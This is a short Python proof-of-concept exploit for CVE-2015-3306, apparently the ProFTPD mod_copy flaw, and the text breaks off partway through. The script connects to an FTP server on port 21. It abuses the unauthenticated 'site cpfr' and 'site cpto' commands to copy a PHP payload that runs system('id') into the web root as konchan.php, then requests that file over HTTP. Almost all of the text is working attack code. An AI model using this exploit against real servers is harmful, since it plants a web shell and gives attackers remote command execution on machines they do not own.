CVE-2015-3306
#!/usr/bin/env python3 import sys import socket import requests def exploit ( client , target ): client .connect(( target , 21 )) # Connecting to the target server banner = client .recv( 74 ) print ( banner .decode()) client .send( b 'site cpfr /proc/self/cmdline \r\n ' ) print ( client .recv( 1024 ).decode()) client .send( b 'site cpto /tmp/<?php system("id"); ?> \r\n ' ) # phpinfo() is just a PoC. print ( client .recv( 1024 ).decode()) client .send( b 'site cpfr /tmp/<?php system("id"); ?> \r\n ' ) print ( client .recv( 1024 ).decode()) client .send( b 'site cpto /var/www/html/konchan.php \r\n ' ) print ( client .recv( 1024 ).decode()) client .close() print ( 'Exploit Completed' ) def check ( url ): req = requests . get ( url ) # Requesting the written PoC php file via HT...
